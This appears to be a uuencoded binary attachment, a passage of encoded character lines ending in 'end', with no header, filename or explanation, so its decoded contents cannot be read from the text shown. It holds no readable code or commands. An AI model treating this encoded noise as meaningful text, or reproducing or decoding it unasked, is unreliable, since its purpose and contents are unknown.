M^>!HIUL#HJ>^PIIY@%'-3]X-I+TH*Q.N<5_7WIX<+Z5EA[M7L_HL3J+YEGH%M)Z1-(IY! MJ(KP\]YU/K^RZA4&,B_U(JL[Y"%1>^%*,FVVZBX:CQ>1/#;QKL`C\_"7K43"%G9Y`; MF4+N8EL$#RCI"BFG.:64,KKA'THUCG^MI!>S^,>+.IM))BNEJ`>*/7NVIW?^ M$,W8+%O^?3L_#U.&JV1E3,F6@>78Y@D;I/R0C!(6H(CPJ6D&P)>(&"$+\V(G MDM$FX3@S\1L+`R"6N&+39&'%E=B!A^^?^^D4(F6B;R;U8-M@ZI:I%]=AVF(K"S?8E66[ MU^H"(-9L6NSNQ0OFB'D6&95B] M%Y)1#@`6-10JEIMD.\3SJ4N89"2/I$A*JPI_TLU14+''DM]A*6VP2/X>%_DK M4A%26>UDFXTR?^R[A/D3XIEFS-2!Z[?C&>QL0*'2F>RW4W:\+<-@PCD<:MF2 MO^VK?$>"UT()(Y5U5A,+7VP#Y9X=E&Y6F'F,KA=E4*7]Y;Y);F[5YQ5:TF0+ MASXRASUF^O>R[5YS7_Z(2UAP!4A6#MM_Q+I15]JM5CM_NH%DRO!2 ME^`6!MA"X+P:/.Q<`WG`P899*TO)\?_[=E`7%F5V_U1*$B93N0L^BB^S5K[( M[FC>FLM>H635LQ=B72\G*3,/8\V-UP+J%Q=6_-[O]PN!"9[`Q`4UFE!YZM+# M0](^C6QVO#)9.3C*\KH![?_`9#<]C[1(QWG!WJ)'F#)QP16+"ZZV>XPY<`=Q MP0*5_[([6*!RFS7LKX>^,MC\^X]T$/*/A8K$1?'>(DSLP8 M8ZC)G(+C7=HN%U#%ZC/GN(?>SKJ[\NG1PN'+N0[/(3V]5#RMZ-;EIG9_J>:2_>EQN6G!6ZZVLJRHF^2PL86QLP'WI/->\JR+-7:C?HJX- MA8__O2!"!69>+,/Z"G[JW^"E)6L(3V,((=_\TVM=7\.??)Y]G;]@<`)<5$,`RA[? M8IGI,Z_2_ M]JO*WZZ_XXW) M3K[)L4?YMAB/A%A%."R_%MKL2]=P\FTNC:Q1J:EICTMM-FMW9[3[U>W@X`LT MW(9-VS,CI]R,9V7#';S;A[0*>@![8C,B?DACRTNJ6?&0Y80A[KET\VU6OLV<@#;_ M3@.OT.2+LU=I,20UVQV:5V$\)4K^`5GQHP`WAB+BCFXC&F+\#P0$]!(# MPX#P6<73;KHL`A&0.\13?.F;E1-Z9*U-1G84XL`IX9YE(8+&?JK`C#8BSB,%+P=2U M-#+V'(N,(&+B2/`G,_`9\!HB:4;E./"FK"WR_(1T8*K'&AT/YBJ;&PQ)DY_W MG/)7;9(PFLN`[!!=95H@M0LA7_28L/@I4[P$\&J/M'G3'6<5F0(1F#VZ*`*" M4!I&_R[%XA:>ZV%BPF,S`@4[DIT;4,B.D9<-B1"[<46!H(!/=F(X8Q0$*C3' MB]>*H@BM7E'),XE-!70KF0Z]RF.,2<,UJ4S)#+H6]QJ0A! M>'$BB(P00`3XOO(LYJ-RD!W@]X9*7O!OSTCKXQ@NM9MH.PPTL2\GJX"%X\,[ M1J@@,H.F*SIPHA@05W88[4\T)#[C\-E/[?"G41#G!`8CCP+4L#0?1[A[[?`?&A` M@1LK0+HG7`R*$8/2,/9]#V$B3T408!?Z!SF3'I,!?<`3!=Y8$7[9 M]E&2^3;NJ[%]P<@_O?*(8$V:6(%Z(4U0-&>5W@*OI<=H0"^V"[C!,R? MWQ4A?;+"=J653(,JYMDMK#PKXC.%E@]4HO`N)4;P7?_<9,@*?&:0R-:Y2&;S M<0;KD]KE"!V%P*Q)6/ZU"/0,6*D)"+A5TS=+F`F!KX`82,.W0>*/K*#A.P8( M0&H=-1U8#*V,0Y'\;X1#<:9%Z*X<-Y%+"B&4EZ^]H]AV6`E-'KM)<&&'_/3*)/#=4.,\+ M&J%6EI]M?W7']H=8G.G,>3[!RO3Z'``;:S1Z>VT>$N`CYV;>=BH@+78$IF1E M%9"H^?!:W0'? M&HHS:4*ZW#U7BE/VL'(]A+N>VP-"*@'O*`$$4$JUODAP7+8>``Z<[56JCP1@ MRP=@E+?S8./`GV5`R6Q8<""#9@QF1+2L"INYKX0T8_VY3ZR5NE#)F9'I^;<* M0&B"H,6[@B]M0+@\'!M3V[GM]?GYM'F0&9?8F^.B,$*(/"74A'NOTO:J;E64 M)XJMD/!!I[`2\\EC/EA-1C`HD&@ MU=E/9VV1IYCMF(8S/#@!='A0'N[.W;K&>DMV9$O>8B$*:.@YUW3(SOGQ`;&, MG1]4S`8?8$EV11:Z\1)XLES'V%W)GR5!JY+O>V155^6\2UW%;^!=T@CO MQ!G$3'=("([>'QX6#VL46;,+*09&C&**!'LCIY`M";:\IB0,XE_E.W58JC;%]E.E:C3"E)NKEQ) M>N)`<.Z'#T[[OVB9X$-5MTNOO/OL"+!2/S5NQ)9)\=W=DD'AH"'H+X![?L2' M3X8Y.(';X=N]TX.CW4/M&>B3=)AP.X^``8V0@&._3$&5+YD679P-#SWNGV$'?P"%8^C"8>#=OJ>.+A$T38;K:S3S_F08*H/JT MA,Y5>.PZ/]DT,/F/\USKC37FO)=J=TLL*=CE[\CLX@F:"M+85AR"+]5,SX4D MC8]K^]<=C(M\S&8TPA\Q0A+2>#%UR#J_.3C<)RN`G1I3ABM)1V3V(7NQX/8" M%EHV"991]%K:_\+?%?SQ4SW:[L1VK("Z/;VUKHF?P^AM:J9CA&&OU65=&;H] M&D8')Q_T]0MMY8A&-UYP=;"GF=J*&T_7.%Q%/H*]\'0.#4,.`P$%TDBV":0( MB21$EJ#A6]X<+AD"(G"1`/`'.%Q/Q.V"/$:K$7FV@@\%`HB/0;M8,8A]Y[^S MH9@\-<;HF?,*4<&XNUL8_";)-><9SNG&CLR)8F::<$@\>_=\]_D6D?Q#,I$" M0`P8U:Y8Q4M](NB3_.K(8EU^@"X5G-H_/3T^W2*Q"Z&E=^GB;^")GW6JEW#= ML9L[*8&$Z&W\N:;9N/^OO6?M:B-7\COG['\0O@OIAG;H;K\)YL;X,6%O`BR0 MN;DWY+*-NPTF?O2X33`[R_[VK=*C)?4#&R8S9_:<](R)W9)*5:52J2252D,> MN%P>FNGSDJ*9`)B@9D58UP\,1@S=MT3/HF83X1 MPDDLT&XYG%SC&L7K+?SO8H+[AN'=?)<.KZ_GBSF\FM]@@()H=V.(/Q@R]`VB.V6,L5'DQ[HOFCL?V7;WE]!7-U*%;[0LP!4C##YEB7?BN1;FLRX MA5,%ECP4R4.9S#D\)/M2)\#$Z!9^V_CE*_UB*EH$AUUCD^EA4^WV^O,8JR+> M7$P30\^"YMGPV?\%2^'V5^O6&DJ(\F2P*+F9Y"8]GWV!IBKZ/8;._X.OWG*HS$[(B)\[E:%M]=_!Z/XX8` MP",,!'.CE1G>P`;.[\%?2BMAQ/9:A^\_GG8YO]EBF=X&#%.`'4=HY=59Q`"+ M?\O`5)L#X-&TSO)C[;D+KP M"@IB6K.2&IR4ZB%5IF+(B:18B"/U$F5%`"'ZBTTW<9=6]#A6*';A M0J MD$XS0I@@XE^7_BU]T08,(`M(8>7)?E.EBSUQ#="UH4N=42K\AY)@:\H#U%)VG8(113/I"*K?<'-\[/-DG>]2PV">?V23S M"_8)BD2J("'<#"<13"5V62T1<=P:<4A63:+`0:H`1FI_LD@[HP@4*F67^5QL MDST^=]G_0L;>8CB^&XO93%X9F-OR*0Z4B6"V/?'QA!U&MQ>C&89=Y'GX>9Y_ M6\L>'J%)Y?J?6/\=3J.;P`MAA!N./1K%\?NM!3^]_ENN.JZ\_[%:Q?L?J[9; M^['^^T<\.UOJ<4F0@#CZ?CB;?J,APOOHP1#.2>$C%0YRBM)1H.Z]5P^D]PGS MG-P$DVDP@F)[@\7;4/QZ[0?[F$^YCE%-@R1,I=='DG?>G!S,AKAR>AT1&MYG MA[SW<#B_]B+,UPD&8+"23^E$]"+^W4ZGY!TQF87]K*,A&0=75CHMDEZ37EM^ M/$7#C20>/1]SF]IA_Z0/U@3HULU0>1),Z@0.)0ZF*RN=FQGT)XR$M35,]8.! M6+-EF[%W,.N8.]5+=("8AOTIE$D]ES!;@V:ZNIL'EY<&<^_UA3,:!5"GY5D\ MT(QG90`T2/YS`#R2^6`>7J(_RE+RQM[UL/\B[`1_)IG(K0Z`'K1%9\27`@"= M@<=)7X!!R:4`[B9?)WB$]<4`P*YY(0\X`!K-\#D`'LGD&XR4?C"CS:PU+]JX MR0<8=`5V])O<#/-`..-12RKQ;*$0H_G.41?GJQ1(4QZY)4V<>,)9\"T_=1(L MYOFIT\$@"IY(9_.R2_1>1!LD/V.$T??IE`2W8G*IF4S#2SS=/<_GF#^=.]@0 M_<'U&W2$E`+)N$B]:L6LP/?FGB5KHLZ.?9BYH<,QM6J5YR98^'38J#5LJSL[.1]Z^R=).@B MGH<4Y!#_\?WYX8<6.6V='QZ#I:EF4HR)\][Y23&.\D!C/PO3PG"! M`BL*PS]?LR&'G]O($MV!SX")M388-^.TZ(I#XZ*K/5NLG[W)S\!])*5V4M+@ M93X1(,UIU2Z>?N3D=VF<;4H.\`76I\B/$O0+QU#Z^+$BS%B)!$4]D57AN4=^ M?HC7ED58R$/5VD]Q#:"P9#9R)Y+Q9;YR9D5@H/_\A;II%D[>P?R]^_[PO/!$ MH6`V'D[P\"@K5;A8M%L7BUX7/O;%PNY@>)'OP-*`044VX.0"S^RR M`@PU759&IWJQ:"@9J=[30-9R2*4*6P/IJ)]L8ENV^I%Y0I!D/-SU5S5S!QJ] M!0UW`/]V>XG6<#7>`+EUX%\=^%CO9%>=UV2BZF?ES>.YJ[`2AQ'&>./@8Z_7 M/353I2K`7B"NW4Z4HJU@G)VWVG]#)?]^ZOGD0P!]PU*][X.U*#(E*F]6Z!>7 M:!W\Z!Q_PLZQLY/=/2#/9!H+'AX=QM!#:"+\Z"J_1U(LVW3T&#;J?#<&6PW;*KR.Z"4:C2YR_:U4IL@#FF?J0]G&GFWBWM94N M",BZP*Q:'Q@VN%@,;-:I^V[,M#',A[P1^8M;K94:CE.SK0W/(88-3+9[;LLM M:YP/`)@OI#5-^2B:W1,H_U8!T-(`E&N`A&X_I[B^F, M\F3;7@S\?1,0*U&X:PQP6P/<@*XYZ"?ZDP0R.W@=E.M5XNV7;#VO`57I>J.JLJDE5.[0E6E1R558[M M4%ZYDE6E!*O*J[/*E>B5=5:AUD=*_0I^4E"04H!2=.Q:HP)TJH!TEET!@(J7 MR_-@BCSW743F[;8"I:[K!$"E`P1N)T-?,F_1MBC*?^<#`,?%,"JNA<&F"OJ^8"DL5<11NENSO, M><%8S^[T6M.60`0;H'B!$YW<1FDTZF5K(YHI6'J.K-VX#F='L,2/V)SE!UR1Z[6HAU`@5@ M>RV;Q@..&ORN':1I+)7K=:?F)&BLZX8-K*ZF#JI5*J:(KH%I"5Z.UD^2U1`CTQ(+W3!5( M7><,&B`Q$HU4PUV-A_?$A4:CP^2E'XR\AWT%F"Y*G08;01PT&0Z8;';J*W?R MNL[P@Y)$K91D/*"&D1`=#^4I?+BD"Q8J9NV4D+LQS_.$W$ZV7,/^/BW7*'^' MEFNTGMURI;[6\Q"M8>X`2&7ZKI6KH8O%1GMG1V(4&JSNSH!*HZLUZMUU$4;`580@&C09[$ M1<<)@`&$MX!3*,$"^9V'%(82OEN MVE#G*XCTHE]Q15T<`8:[BFWB"IEEBS.U]#H=OJ4AIU( M3&2VAAH!##)6;%O)F-A'!CO=D][JF'2MG! M#<+A)(^;LI,5_JM=POU?8S=4MNALT=8VF\V\B\HEU[;(71A9Y-ZC`;B\"3D\ M(44R]AZN\*9O$2HA.YR0?!)!(NBS=>-GA>*0#XOWX#?U6`_\/`D@GQ7G(>M) MQ7Z8WHU\+?H#<@.73='/Y68-ZEKMHFD1W6Q9?/M'?K7]4H`\EH0?1Y+@VSTF MZYTL(1%/(J?*W-3\E(R3N4R0!E204-K%AF%3(#;V1M"!A`L:;YOMIQC"G6AS-/F>;8R:P("$]-IUW"QA<8<(V"@W M!.>%7"Q2V&:98:(#;+OVMM1R;R1YHF%4E'&SN,EBLBGE%=S1T1]&G4TCL9?# M'2"^F"#&S`&[K)1*@*6]9R68N!B_&LP$^:N!%]X7Q?)JE>B=<^4JD#.95:0, MFA?P_SNS_O?CNLKP[\UNE=-9?-:EGNM%5?#U#B%F'BRF-&ZJX$X7<[T=>Q/H MUABTEXRG?J"/?J+@S][H+HCPNI24LBH4J:L7]8J;#HB]0.V?DQ%;:Z6,K!UH M>#J\R\6;\^PPL6%&R<:=F5.4,EG;I(JBIRN;JA;=#<+.R2B-A>PLZ=7Q.N["R"T!Q4A%65+61)U3IDX531O->U!)CYZTT1LU!/ M619]#R;2-@N"*E-`WD.\D_[HY]/6!\(C*W-= M7^#(7PB@Q4WF8<>6;518:1M(5J[T'F/@-^D9/PV/X\O3SO'1^W\D0]3E(T-A M_!9D(&,SN@)-<2FC,%($&=N3DW?(OLTE23KX@9C;68LL2;0_,!B`K@<(^KH8 M9R"(?[73J99MY2,@5M2:+&]&KC>:K,1])5Z#8[<(1'P!E!XE18[2(Z4#WPJQ M\G@ADQY*I$''TK:M+T!$>-4"1IS'(Y_D"@]J4H,<_1CL1=\;!`/;]JGK=4J> MD=<;;E(N<4D$Y"^T<&>VI3(0.:/,/W+)/.'N(AS%JP=TX)=MP>4"V-94>,?" MZ,6.GY!0W*<'!YHL[H2]:!VT.Z;JN"$S8CQ/D0W/7IFZ?\?.#G+(&]U[#Q$] M3"!+,L=^6?C`+IGZ.BT:+I`E@N%0%N/N_-S,HI72"W[$90<[T##C8'X#;+"@ M'9PRN;V+Z/487R,)!8P2"<&U6ZUJU59J3T(163)AH3!R8"A$PBLF(YXN\MDM\T5YR[9L,N?:&1:RC.H04@LQ4,HV";UITV)+@5#I9.ZK())1J\! MF5[34SGTRA!Y,09>*()^.`,4<7X+B.P#Z!2KR33U@FU2.97QP!4BDV&3MTEJ M.$VD&R('F"DF3GA5BX4D<_.\TB,H)X/TBTUF4.TEO'XT69Z?S:7.N*8"4'CG MFD2V(G<*WI<>^4]ISO.;0/17JNJC,.A3_PCL.?,I#+B0@JWC3P-VO04T2H:] MRMH)^Q@_?D7.**0'$J&"AR9&\+IB'LR"@(MGAKK6M3756PBZR<>+D(7J7#XV MR"%M+$8)AN)S1@DL`6,$JS1#O#\=GY)@0D]SS25'F74E9)5HHPBKA%Z=.VS: M;X9[.2.@R8)B2OK"S\,O3?SS+WZJ(M:N2:1.N&V$&.%9A?B*)&#`3.]"*$E- M+D^@D0V#'5TWD6Y3>H^#QJ5'UKC>%*P2%<.+^);EN'/&`_VFP4"@(.B;>J'U MJO7*4CL!3P^WF^I;.2(:KDEZTH!-&&O)V0.?\H:6;I6O8JL#!GFY%G&A%A#0UE92;&"_((3!"]9:#"TM*85$&+$(P#7WF M`$FHR,M-7%:#U(1Q#'NI&^/Z9%U:JM+(%9,NW/'>E*R%#VQ<%W(]HL#6WBM0 MJZ9R0D%`Y1M"H:4HZ20H)6E;1;-FDNOA-SIL>>Q$90IHK*A1=V0-N/N.G%I1 M91.K&C4SFG-B[F'8DJBXQT,_F<[&Q)O/^75;NN$7Y432[OP$LZ2'(EGNK@DC#@&1<]50;:##A01E@;4(T-@U1 M@(8U8OO,,09JDIG8+$>_O3,0;K1BQ5$N>,=&"CG-X_-U4RRC0^69&F MD1U/,&.OF:HN&GB:"RNK_ M*/`F>$&:)E_IP9R^X0/(FB(H[!8)O`\H/IX[N)NP^`Y>Q*[7&D[(X>E)Z\S" M0!IHUZ%!?$\]Y_%ROO@8U\I'(=7CRP38EOW,U]X3LS\IB'S;)E8 M(RO)@E^RZO`&.C"[U-D5K81>=\;AB13XH-8B&@3#) MIKWH]_C)6U)C/0KV\0=;OPJ-A4!T9-_GE;AB!64@^<`=<&,7P@HC1@PBS\##U M<2@;T'_?=MZ=O.Y/QQ@.?(M,K[X-IW?1Z$&(`PO+0*N8C+V0&'?SX>AUWP3A MH);+,\^YDE_YU7\0AZQ>%O_S[QN8KP]S:MM:*KW=LO,BI4JW5&[MO]IK[ M?WV+,^!N[Z=WA__QM_+BR[\N_\N[ZOO!X/IF M>/MU-(:1^Y=9-+_[=K]X^.^U7__G\7^7H?",9^UEQ=B%XO$UEB*L$;\5**(G M$%.I/`B/GD@['QE:Y%9[36_@I.`B2WQQ4SGX@19YC31JP771%47$XV^Y4\@I9"D8@%OX:.V+NQL&82FYWQ>Q#@="M=MNE$9NX MO(\7BP*-_2911I$XT`Y,X!<%X,Y\>A,9P'2Y01Z%4@510V%[>T@V2)U&Y5,< M.96M9CDM$[7NJ96*=2:D:I/PN'Z&,<00?Q3P>I,&N5.&.HFFNX`9I:7>=0G( M*D8J:R>)LG!_4)JA3HHQ9GC2FG^5)#,>YO%,#T]$Y+#[J-"WSA$QLS,_KNEP M8ALBV5YN3H-M]/&&@UB;0$_XHOPRO'#;,>76.`CF=CQJQ,UXJS1C!G52^%,- M+)?H$PWMKM32M\M;.D5=BLL)>?"Y.PWGT);DY6#BF[ICI M#=0"*8;TDD`<3PB&0,0+7O&@^2R@XRO=+>6;>AF%)YF%XVW6_()19D&V=YI? M:DI+\=]Q*;XE2T=HNA4<;PIE@!AE@Q!+%*AL,TH=99:*)]X9)1SU-QBP0\T;%FJY#?U]W#2!X%'#Q5FJ^.MY`;>G`NV!D8@'X]A&A#XJ7>^)D,-)>#=/H\O+NH93-T_TLF4HVB:&/`+Z1&FW:IZ4$Z4KE?)*I4N&XY@' A>MW4J?K)TE9D_KCZY_L0`R``` ` end